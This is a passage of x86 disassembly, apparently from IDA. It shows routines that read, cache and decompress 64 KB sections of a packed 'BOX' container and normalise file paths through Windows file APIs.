		mov	eax, [ebp+var_40]
		inc	eax
		mov	[ebp+var_40], eax


loc_414CAE:				; CODE XREF: sub_414C5A+4Bj
		cmp	[ebp+var_40], 3
		jnb	short loc_414CED
		mov	eax, [ebp+var_40]
		imul	eax, 18h
		mov	ecx, [ebp+arg_0]
		mov	eax, ds:dword_423B74[eax]
		cmp	eax, [ecx]
		jnz	short loc_414CEB
		mov	eax, [ebp+var_40]
		imul	eax, 18h
		mov	eax, ds:dword_423B70[eax]
		cmp	eax, [ebp+arg_4]
		jnz	short loc_414CEB
		mov	eax, [ebp+var_40]
		imul	eax, 18h
		mov	eax, ds:off_423B78[eax]
		mov	eax, [eax]
		jmp	loc_414FF8
; ---------------------------------------------------------------------------


loc_414CEB:				; CODE XREF: sub_414C5A+6Bj
					; sub_414C5A+7Cj
		jmp	short loc_414CA7
; ---------------------------------------------------------------------------


loc_414CED:				; CODE XREF: sub_414C5A+58j
		lea	eax, [ebp+var_48]
		push	eax
		call	ds:dword_4246AC	; GetSystemTimeAsFileTime
		and	[ebp+var_4C], 0
		jmp	short loc_414D04
; ---------------------------------------------------------------------------


loc_414CFD:				; CODE XREF: sub_414C5A:loc_414D4Bj
		mov	eax, [ebp+var_4C]
		inc	eax
		mov	[ebp+var_4C], eax


loc_414D04:				; CODE XREF: sub_414C5A+A1j
		cmp	[ebp+var_4C], 3
		jnb	short loc_414D4D
		mov	eax, [ebp+var_4C]
		imul	eax, 18h
		add	eax, offset dword_423B68
		mov	[ebp+var_74], eax
		mov	eax, [ebp+var_74]
		mov	ecx, [ebp+var_44]
		cmp	ecx, [eax+4]
		jl	short loc_414D4B
		jg	short loc_414D2F
		mov	eax, [ebp+var_74]
		mov	ecx, [ebp+var_48]
		cmp	ecx, [eax]
		jbe	short loc_414D4B


loc_414D2F:				; CODE XREF: sub_414C5A+C9j
		mov	eax, [ebp+var_4C]
		imul	eax, 18h
		add	eax, offset dword_423B68
		mov	ecx, [eax]
		mov	[ebp+var_48], ecx
		mov	eax, [eax+4]
		mov	[ebp+var_44], eax
		mov	eax, [ebp+var_4C]
		mov	[ebp+var_28], eax


loc_414D4B:				; CODE XREF: sub_414C5A+C7j
					; sub_414C5A+D3j
		jmp	short loc_414CFD
; ---------------------------------------------------------------------------


loc_414D4D:				; CODE XREF: sub_414C5A+AEj
		mov	eax, [ebp+var_28]
		imul	eax, 18h
		and	ds:dword_423B70[eax], 0
		mov	eax, [ebp+var_28]
		imul	eax, 18h
		and	ds:dword_423B74[eax], 0
		mov	eax, [ebp+var_28]
		imul	eax, 18h
		add	eax, offset dword_423B68
		and	dword ptr [eax], 0
		and	dword ptr [eax+4], 0
		mov	eax, [ebp+var_28]
		imul	eax, 18h
		mov	eax, ds:off_423B78[eax]
		mov	eax, [eax]
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_24]
		shl	eax, 4
		mov	ecx, ds:dword_424888
		mov	ecx, [ecx+8]
		cmp	dword ptr [ecx+eax+8], 0
		jnz	loc_414EAB
		mov	eax, [ebp+var_34]
		mov	eax, [eax+8]
		add	eax, 0FFFFh
		shr	eax, 10h
		mov	[ebp+var_54], eax
		and	[ebp+var_50], 0
		and	[ebp+var_4], 0
		mov	eax, [ebp+var_54]
		shl	eax, 2
		push	eax
		call	sub_41BA4A
		pop	ecx
		mov	[ebp+var_6C], eax
		mov	eax, [ebp+var_6C]
		mov	[ebp+var_50], eax
		and	[ebp+var_58], 0
		mov	eax, [ebp+var_54]
		shl	eax, 2
		mov	ecx, [ebp+var_34]
		mov	ecx, [ecx+4]
		sub	ecx, eax
		mov	[ebp+var_5C], ecx
		push	0
		push	0
		push	[ebp+var_5C]
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+8]
		call	ds:dword_424708	; SetFilePointer
		cmp	eax, [ebp+var_5C]
		jz	short loc_414E19
		push	0FFFFFFFFh
		and	[ebp+var_78], 0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41042A
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_78]
		jmp	loc_414FF8
; ---------------------------------------------------------------------------


loc_414E19:				; CODE XREF: sub_414C5A+1A4j
		push	0
		lea	eax, [ebp+var_58]
		push	eax
		mov	eax, [ebp+var_54]
		shl	eax, 2
		push	eax
		push	[ebp+var_50]
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+8]
		call	ds:dword_4246FC	; ReadFile
		test	eax, eax
		jnz	short loc_414E52
		push	0FFFFFFFFh
		and	[ebp+var_7C], 0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41042A
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_7C]
		jmp	loc_414FF8
; ---------------------------------------------------------------------------


loc_414E52:				; CODE XREF: sub_414C5A+1DDj
		mov	eax, [ebp+var_54]
		shl	eax, 2
		cmp	[ebp+var_58], eax
		jz	short loc_414E76
		push	0FFFFFFFFh
		and	[ebp+var_80], 0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41042A
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_80]
		jmp	loc_414FF8
; ---------------------------------------------------------------------------


loc_414E76:				; CODE XREF: sub_414C5A+201j
		mov	eax, [ebp+var_24]
		shl	eax, 4
		mov	ecx, ds:dword_424888
		mov	ecx, [ecx+8]
		mov	edx, [ebp+var_50]
		mov	[ecx+eax+8], edx
		and	[ebp+var_50], 0
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_414E9B
		jmp	short loc_414EAB
sub_414C5A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_414E9B	proc near		; CODE XREF: sub_414C5A+23Ap
					; DATA XREF: _4:004213B8o
		mov	eax, [ebp-50h]
		mov	[ebp-70h], eax
		push	dword ptr [ebp-70h]
		call	sub_41BACD
		pop	ecx
		retn
sub_414E9B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_414C5A


loc_414EAB:				; CODE XREF: sub_414C5A+144j
					; sub_414C5A+23Fj
		mov	eax, [ebp+var_24]
		shl	eax, 4
		mov	ecx, ds:dword_424888
		mov	ecx, [ecx+8]
		mov	eax, [ecx+eax+8]
		mov	[ebp+var_30], eax
		and	[ebp+var_20], 0
		and	[ebp+var_1C], 0
		cmp	[ebp+arg_4], 0
		jz	short loc_414F2B
		mov	eax, [ebp+var_34]
		mov	eax, [eax+8]
		add	eax, 0FFFFh
		shr	eax, 10h
		mov	[ebp+var_60], eax
		mov	eax, [ebp+arg_4]
		cmp	eax, [ebp+var_60]
		jb	short loc_414EFE
		push	ds:off_4214F0
		push	93h
		push	ds:off_4214F4
		call	sub_41BB7C


loc_414EFE:				; CODE XREF: sub_414C5A+28Cj
		and	[ebp+var_64], 0
		jmp	short loc_414F0B
; ---------------------------------------------------------------------------


loc_414F04:				; CODE XREF: sub_414C5A+2CFj
		mov	eax, [ebp+var_64]
		inc	eax
		mov	[ebp+var_64], eax


loc_414F0B:				; CODE XREF: sub_414C5A+2A8j
		mov	eax, [ebp+var_64]
		cmp	eax, [ebp+arg_4]
		jnb	short loc_414F2B
		mov	eax, [ebp+var_64]
		mov	ecx, [ebp+var_30]
		mov	eax, [ecx+eax*4]
		and	eax, 7FFFFFFFh
		mov	ecx, [ebp+var_20]
		add	ecx, eax
		mov	[ebp+var_20], ecx
		jmp	short loc_414F04
; ---------------------------------------------------------------------------


loc_414F2B:				; CODE XREF: sub_414C5A+273j
					; sub_414C5A+2B7j
		lea	eax, [ebp+var_1C]
		push	eax
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_30]
		mov	eax, [ecx+eax*4]
		and	eax, 7FFFFFFFh
		push	eax
		mov	eax, [ebp+var_34]
		mov	eax, [eax+4]
		add	eax, [ebp+var_20]
		push	eax
		push	[ebp+arg_0]
		call	loc_414A0E
		mov	[ebp+var_38], eax
		cmp	[ebp+var_38], 0
		jnz	short loc_414F60
		xor	eax, eax
		jmp	loc_414FF8
; ---------------------------------------------------------------------------


loc_414F60:				; CODE XREF: sub_414C5A+2FDj
		mov	[ebp+var_2C], 10000h
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_30]
		mov	eax, [ecx+eax*4]
		and	eax, 80000000h
		test	eax, eax
		jnz	short loc_414FAC
		push	[ebp+var_1C]
		push	[ebp+var_38]
		lea	eax, [ebp+var_2C]
		push	eax
		push	[ebp+var_3C]
		call	sub_420CCE
		add	esp, 10h
		mov	[ebp+var_68], eax
		cmp	[ebp+var_68], 0
		jz	short loc_414FAA
		push	[ebp+var_68]
		push	offset aBoxReadcompres ; ":BOX:ReadCompressedSection: decompresio"...
		call	sub_41BE16
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_414FF8
; ---------------------------------------------------------------------------


loc_414FAA:				; CODE XREF: sub_414C5A+33Bj
		jmp	short loc_414FC3
; ---------------------------------------------------------------------------


loc_414FAC:				; CODE XREF: sub_414C5A+31Dj
		mov	ecx, [ebp+var_1C]
		mov	esi, [ebp+var_38]
		mov	edi, [ebp+var_3C]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_414FC3:				; CODE XREF: sub_414C5A:loc_414FAAj
		mov	eax, [ebp+var_28]
		imul	eax, 18h
		mov	ecx, [ebp+arg_4]
		mov	ds:dword_423B70[eax], ecx
		mov	eax, [ebp+var_28]
		imul	eax, 18h
		mov	ecx, [ebp+arg_0]
		mov	ecx, [ecx]
		mov	ds:dword_423B74[eax], ecx
		mov	eax, [ebp+var_28]
		imul	eax, 18h
		add	eax, offset dword_423B68
		push	eax
		call	ds:dword_4246AC	; GetSystemTimeAsFileTime
		mov	eax, [ebp+var_3C]


loc_414FF8:				; CODE XREF: sub_414C5A+8Cj
					; sub_414C5A+1BAj ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; END OF FUNCTION CHUNK	FOR sub_414C5A

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415009	proc near		; CODE XREF: sub_415175+16Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_14]
		shr	eax, 10h
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_14]
		lea	eax, [ecx+eax-1]
		shr	eax, 10h
		mov	[ebp+var_4], eax
		push	[ebp+var_10]
		push	[ebp+arg_0]
		call	sub_414C5A
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_41504E
		xor	eax, eax
		jmp	loc_41516F
; ---------------------------------------------------------------------------


loc_41504E:				; CODE XREF: sub_415009+3Cj
		mov	eax, [ebp+var_14]
		xor	edx, edx
		mov	ecx, 10000h
		div	ecx
		mov	[ebp+var_8], edx
		mov	eax, 10000h
		sub	eax, [ebp+var_8]
		cmp	[ebp+arg_8], eax
		jnb	short loc_415072
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_18], eax
		jmp	short loc_41507D
; ---------------------------------------------------------------------------


loc_415072:				; CODE XREF: sub_415009+5Fj
		mov	eax, 10000h
		sub	eax, [ebp+var_8]
		mov	[ebp+var_18], eax


loc_41507D:				; CODE XREF: sub_415009+67j
		mov	ecx, [ebp+var_18]
		mov	esi, [ebp+var_C]
		add	esi, [ebp+var_8]
		mov	edi, [ebp+arg_4]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	eax, 10000h
		sub	eax, [ebp+var_8]
		cmp	[ebp+arg_8], eax
		jnb	short loc_4150AC
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_1C], eax
		jmp	short loc_4150B7
; ---------------------------------------------------------------------------


loc_4150AC:				; CODE XREF: sub_415009+99j
		mov	eax, 10000h
		sub	eax, [ebp+var_8]
		mov	[ebp+var_1C], eax


loc_4150B7:				; CODE XREF: sub_415009+A1j
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_8], eax


loc_4150BD:				; CODE XREF: sub_415009+15Ej
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_10]
		jbe	loc_41516C
		mov	eax, [ebp+var_10]
		inc	eax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		cmp	eax, [ebp+var_8]
		ja	short loc_4150EE
		push	ds:off_4214F0
		push	0BBh
		push	ds:off_4214F4
		call	sub_41BB7C


loc_4150EE:				; CODE XREF: sub_415009+CDj
		push	[ebp+var_10]
		push	[ebp+arg_0]
		call	sub_414C5A
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_415106
		xor	eax, eax
		jmp	short loc_41516F
; ---------------------------------------------------------------------------


loc_415106:				; CODE XREF: sub_415009+F7j
		mov	eax, [ebp+arg_8]
		sub	eax, [ebp+var_8]
		cmp	eax, 10000h
		jnb	short loc_41511E
		mov	eax, [ebp+arg_8]
		sub	eax, [ebp+var_8]
		mov	[ebp+var_20], eax
		jmp	short loc_415125
; ---------------------------------------------------------------------------


loc_41511E:				; CODE XREF: sub_415009+108j
		mov	[ebp+var_20], 10000h


loc_415125:				; CODE XREF: sub_415009+113j
		mov	ecx, [ebp+var_20]
		mov	esi, [ebp+var_C]
		mov	edi, [ebp+arg_4]
		add	edi, [ebp+var_8]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	eax, [ebp+arg_8]
		sub	eax, [ebp+var_8]
		cmp	eax, 10000h
		jnb	short loc_415157
		mov	eax, [ebp+arg_8]
		sub	eax, [ebp+var_8]
		mov	[ebp+var_24], eax
		jmp	short loc_41515E
; ---------------------------------------------------------------------------


loc_415157:				; CODE XREF: sub_415009+141j
		mov	[ebp+var_24], 10000h


loc_41515E:				; CODE XREF: sub_415009+14Cj
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_24]
		mov	[ebp+var_8], eax
		jmp	loc_4150BD
; ---------------------------------------------------------------------------


loc_41516C:				; CODE XREF: sub_415009+BAj
		push	1
		pop	eax


loc_41516F:				; CODE XREF: sub_415009+40j
					; sub_415009+FBj
		pop	edi
		pop	esi
		leave
		retn	0Ch
sub_415009	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415175	proc near		; CODE XREF: sub_41396C+242p
					; sub_413FDF+172p ...

var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_40		= byte ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

; FUNCTION CHUNK AT 0041545B SIZE 00000013 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4213C0
		push	offset sub_4104E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 3Ch
		push	ebx
		push	esi
		push	edi
		cmp	[ebp+arg_14], 0
		jnz	short loc_4151A6
		lea	eax, [ebp+var_1C]
		mov	[ebp+arg_14], eax


loc_4151A6:				; CODE XREF: sub_415175+29j
		mov	eax, ds:dword_424864
		mov	[ebp+var_3C], eax
		cmp	[ebp+var_3C], 0
		jz	short loc_4151C7
		mov	eax, [ebp+var_3C]
		add	eax, 10h
		push	eax
		call	ds:dword_42101C	; RtlEnterCriticalSection
		mov	[ebp+var_40], 1
		jmp	short loc_4151CB
; ---------------------------------------------------------------------------


loc_4151C7:				; CODE XREF: sub_415175+3Dj
		and	[ebp+var_40], 0


loc_4151CB:				; CODE XREF: sub_415175+50j
		movzx	eax, [ebp+var_40]
		test	eax, eax
		jz	loc_41545B
		and	[ebp+var_4], 0
		push	[ebp+arg_0]
		mov	ecx, ds:dword_424864
		call	sub_41EB4C
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jz	loc_415434
		cmp	[ebp+arg_10], 0
		jz	short loc_415205
		mov	eax, [ebp+arg_10]
		mov	dword ptr [eax], 3E5h


loc_415205:				; CODE XREF: sub_415175+85j
		mov	eax, [ebp+var_20]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+var_20]
		mov	eax, [eax+0Ch]
		and	eax, 1
		test	eax, eax
		jz	short loc_415252
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4246FC	; ReadFile
		mov	ecx, [ebp+arg_14]
		mov	[ecx], eax
		push	0FFFFFFFFh
		mov	[ebp+var_48], 1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41042A
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_48]
		jmp	loc_41545D
; ---------------------------------------------------------------------------


loc_415252:				; CODE XREF: sub_415175+A5j
		cmp	[ebp+arg_10], 0
		jz	short loc_41527F
		mov	eax, [ebp+var_20]
		mov	eax, [eax+0Ch]
		and	eax, 40000000h
		test	eax, eax
		jz	short loc_41527F
		mov	eax, [ebp+arg_10]
		mov	ecx, [ebp+var_20]
		mov	ecx, [ecx+4]
		mov	[eax+0Ch], ecx
		mov	eax, [ebp+var_20]
		mov	ecx, [ebp+arg_10]
		mov	ecx, [ecx+8]
		mov	[eax+4], ecx


loc_41527F:				; CODE XREF: sub_415175+E1j
					; sub_415175+F0j
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_20]
		mov	eax, [eax+4]
		add	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_30]
		cmp	eax, [ecx+8]
		jbe	short loc_4152A5
		mov	eax, [ebp+var_30]
		mov	ecx, [ebp+var_20]
		mov	eax, [eax+8]
		sub	eax, [ecx+4]
		mov	[ebp+var_28], eax


loc_4152A5:				; CODE XREF: sub_415175+11Fj
		cmp	[ebp+arg_C], 0
		jnz	short loc_4152B1
		lea	eax, [ebp+var_2C]
		mov	[ebp+arg_C], eax


loc_4152B1:				; CODE XREF: sub_415175+134j
		mov	eax, [ebp+arg_C]
		and	dword ptr [eax], 0
		cmp	[ebp+arg_8], 0
		jbe	loc_4153B6
		cmp	[ebp+var_28], 0
		jbe	loc_4153B6
		mov	eax, [ebp+var_30]
		mov	eax, [eax+0Ch]
		and	eax, 2
		test	eax, eax
		jz	short loc_4152FC
		push	[ebp+var_28]
		push	[ebp+arg_4]
		push	[ebp+var_20]
		call	sub_415009
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 0
		jz	short loc_4152F7
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx


loc_4152F7:				; CODE XREF: sub_415175+178j
		jmp	loc_4153B4
; ---------------------------------------------------------------------------


loc_4152FC:				; CODE XREF: sub_415175+161j
		and	[ebp+var_34], 0


loc_415300:				; CODE XREF: sub_415175+23Aj
		mov	eax, [ebp+var_34]
		cmp	eax, [ebp+var_28]
		jnb	loc_4153B4
		mov	eax, [ebp+var_28]
		sub	eax, [ebp+var_34]
		cmp	eax, 10000h
		jnb	short loc_415324
		mov	eax, [ebp+var_28]
		sub	eax, [ebp+var_34]
		mov	[ebp+var_4C], eax
		jmp	short loc_41532B
; ---------------------------------------------------------------------------


loc_415324:				; CODE XREF: sub_415175+1A2j
		mov	[ebp+var_4C], 10000h


loc_41532B:				; CODE XREF: sub_415175+1ADj
		push	[ebp+arg_C]
		push	[ebp+var_4C]
		mov	eax, [ebp+var_30]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_20]
		add	eax, [ecx+4]
		add	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_20]
		call	loc_414A0E
		mov	[ebp+var_38], eax
		cmp	[ebp+var_38], 0
		jz	short loc_41537B
		mov	eax, [ebp+var_28]
		sub	eax, [ebp+var_34]
		cmp	eax, 10000h
		jnb	short loc_41536A
		mov	eax, [ebp+var_28]
		sub	eax, [ebp+var_34]
		mov	[ebp+var_50], eax
		jmp	short loc_415371
; ---------------------------------------------------------------------------


loc_41536A:				; CODE XREF: sub_415175+1E8j
		mov	[ebp+var_50], 10000h


loc_415371:				; CODE XREF: sub_415175+1F3j
		mov	eax, [ebp+arg_C]
		mov	eax, [eax]
		cmp	eax, [ebp+var_50]
		jz	short loc_415381


loc_41537B:				; CODE XREF: sub_415175+1DBj
		and	[ebp+var_24], 0
		jmp	short loc_4153B4
; ---------------------------------------------------------------------------


loc_415381:				; CODE XREF: sub_415175+204j
		mov	[ebp+var_24], 1
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax]
		mov	esi, [ebp+var_38]
		mov	edi, [ebp+arg_4]
		add	edi, [ebp+var_34]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+var_34]
		add	ecx, [eax]
		mov	[ebp+var_34], ecx
		jmp	loc_415300
; ---------------------------------------------------------------------------


loc_4153B4:				; CODE XREF: sub_415175:loc_4152F7j
					; sub_415175+191j ...
		jmp	short loc_4153C3
; ---------------------------------------------------------------------------


loc_4153B6:				; CODE XREF: sub_415175+146j
					; sub_415175+150j
		mov	[ebp+var_24], 1
		mov	eax, [ebp+arg_C]
		and	dword ptr [eax], 0


loc_4153C3:				; CODE XREF: sub_415175:loc_4153B4j
		cmp	[ebp+var_24], 0
		jz	short loc_4153DA
		mov	eax, [ebp+var_20]
		mov	eax, [eax+4]
		mov	ecx, [ebp+arg_C]
		add	eax, [ecx]
		mov	ecx, [ebp+var_20]
		mov	[ecx+4], eax


loc_4153DA:				; CODE XREF: sub_415175+252j
		mov	eax, [ebp+arg_14]
		mov	ecx, [ebp+var_24]
		mov	[eax], ecx
		cmp	[ebp+arg_10], 0
		jz	short loc_41541B
		mov	eax, [ebp+var_20]
		mov	eax, [eax+0Ch]
		and	eax, 40000000h
		test	eax, eax
		jz	short loc_41541B
		mov	eax, [ebp+var_20]
		mov	ecx, [ebp+arg_10]
		mov	ecx, [ecx+0Ch]
		mov	[eax+4], ecx
		mov	eax, [ebp+arg_10]
		and	dword ptr [eax+0Ch], 0
		mov	eax, [ebp+arg_10]
		mov	ecx, [ebp+arg_C]
		mov	ecx, [ecx]
		mov	[eax+4], ecx
		mov	eax, [ebp+arg_10]
		and	dword ptr [eax], 0


loc_41541B:				; CODE XREF: sub_415175+271j
					; sub_415175+280j
		push	0FFFFFFFFh
		mov	[ebp+var_54], 1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41042A
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_54]
		jmp	short loc_41545D
; ---------------------------------------------------------------------------


loc_415434:				; CODE XREF: sub_415175+7Bj
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_41543F
		jmp	short loc_41545B
sub_415175	endp


; =============== S U B	R O U T	I N E =======================================



sub_41543F	proc near		; CODE XREF: sub_415175+2C3p
					; DATA XREF: _4:004213C8o
		mov	eax, ds:dword_424864
		mov	[ebp-44h], eax
		cmp	dword ptr [ebp-44h], 0
		jz	short locret_41545A
		mov	eax, [ebp-44h]
		add	eax, 10h
		push	eax
		call	ds:dword_421018	; RtlLeaveCriticalSection

locret_41545A:				; CODE XREF: sub_41543F+Cj
		retn
sub_41543F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_415175


loc_41545B:				; CODE XREF: sub_415175+5Cj
					; sub_415175+2C8j
		xor	eax, eax


loc_41545D:				; CODE XREF: sub_415175+D8j
					; sub_415175+2BDj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	18h
; END OF FUNCTION CHUNK	FOR sub_415175

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41546E	proc near		; CODE XREF: sub_413272+91p
					; sub_41553D+95p

var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	[ebp+var_10], ecx
		mov	[ebp+var_4], 1
		mov	[ebp+var_8], 2
		jmp	short loc_41548E
; ---------------------------------------------------------------------------


loc_415487:				; CODE XREF: sub_41546E+5Ej
					; sub_41546E+7Fj ...
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_41548E:				; CODE XREF: sub_41546E+17j
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_10]
		jnb	loc_415521
		mov	eax, ds:dword_424888
		add	eax, [ebp+var_8]
		mov	al, [eax+114h]
		mov	[ebp+var_C], al
		movsx	eax, [ebp+var_C]
		mov	ecx, ds:dword_424888
		add	ecx, [ebp+var_4]
		movsx	ecx, byte ptr [ecx+114h]
		cmp	eax, ecx
		jnz	short loc_4154CE
		movsx	eax, [ebp+var_C]
		cmp	eax, 5Ch
		jnz	short loc_4154CE
		jmp	short loc_415487
; ---------------------------------------------------------------------------


loc_4154CE:				; CODE XREF: sub_41546E+53j
					; sub_41546E+5Cj
		movsx	eax, [ebp+var_C]
		cmp	eax, 2Fh
		jnz	short loc_4154EF
		mov	eax, ds:dword_424888
		add	eax, [ebp+var_8]
		mov	byte ptr [eax+114h], 5Ch
		mov	eax, [ebp+var_8]
		dec	eax
		mov	[ebp+var_8], eax
		jmp	short loc_415487
; ---------------------------------------------------------------------------


loc_4154EF:				; CODE XREF: sub_41546E+67j
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, [ebp+var_8]
		jz	short loc_415515
		mov	eax, ds:dword_424888
		add	eax, [ebp+var_4]
		mov	ecx, ds:dword_424888
		add	ecx, [ebp+var_8]
		mov	cl, [ecx+114h]
		mov	[eax+115h], cl


loc_415515:				; CODE XREF: sub_41546E+88j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		jmp	loc_415487
; ---------------------------------------------------------------------------


loc_415521:				; CODE XREF: sub_41546E+26j
		mov	eax, ds:dword_424888
		add	eax, [ebp+var_4]
		and	byte ptr [eax+115h], 0
		mov	eax, [ebp+var_4]
		inc	eax
		mov	ecx, [ebp+var_10]
		sub	ecx, eax
		mov	eax, ecx
		leave
		retn
sub_41546E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41553D	proc near		; CODE XREF: sub_413D44+3Ap
					; sub_414344+19p ...

var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_52		= byte ptr -52h
var_51		= byte ptr -51h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

; FUNCTION CHUNK AT 00415854 SIZE 00000013 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4213D0
		push	offset sub_4104E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		cmp	[ebp+arg_4], 0
		jz	short loc_41556E
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0


loc_41556E:				; CODE XREF: sub_41553D+29j
		cmp	ds:dword_424888, 0
		jnz	short loc_41557E
		xor	eax, eax
		jmp	loc_415856
; ---------------------------------------------------------------------------


loc_41557E:				; CODE XREF: sub_41553D+38j
		and	[ebp+var_1C], 0
		push	offset dword_424848
		call	ds:dword_424644	; RtlEnterCriticalSection
		and	[ebp+var_4], 0
		lea	eax, [ebp+var_1C]
		push	eax
		mov	eax, ds:dword_424888
		add	eax, 114h
		push	eax
		push	104h
		push	[ebp+arg_0]
		call	ds:dword_424688	; GetFullPathNameA
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jz	loc_41583D
		push	[ebp+var_20]
		mov	eax, ds:dword_424888
		add	eax, 114h
		push	eax
		call	ds:dword_424748	; CharUpperBuffA
		mov	ecx, [ebp+var_20]
		call	sub_41546E
		mov	ecx, [ebp+var_1C]
		sub	ecx, eax
		mov	[ebp+var_1C], ecx
		mov	eax, ds:dword_424888
		mov	ecx, [eax+21Ch]
		mov	edi, ds:dword_424888
		add	edi, 10h
		mov	esi, ds:dword_424888
		add	esi, 114h
		xor	eax, eax
		repe cmpsb
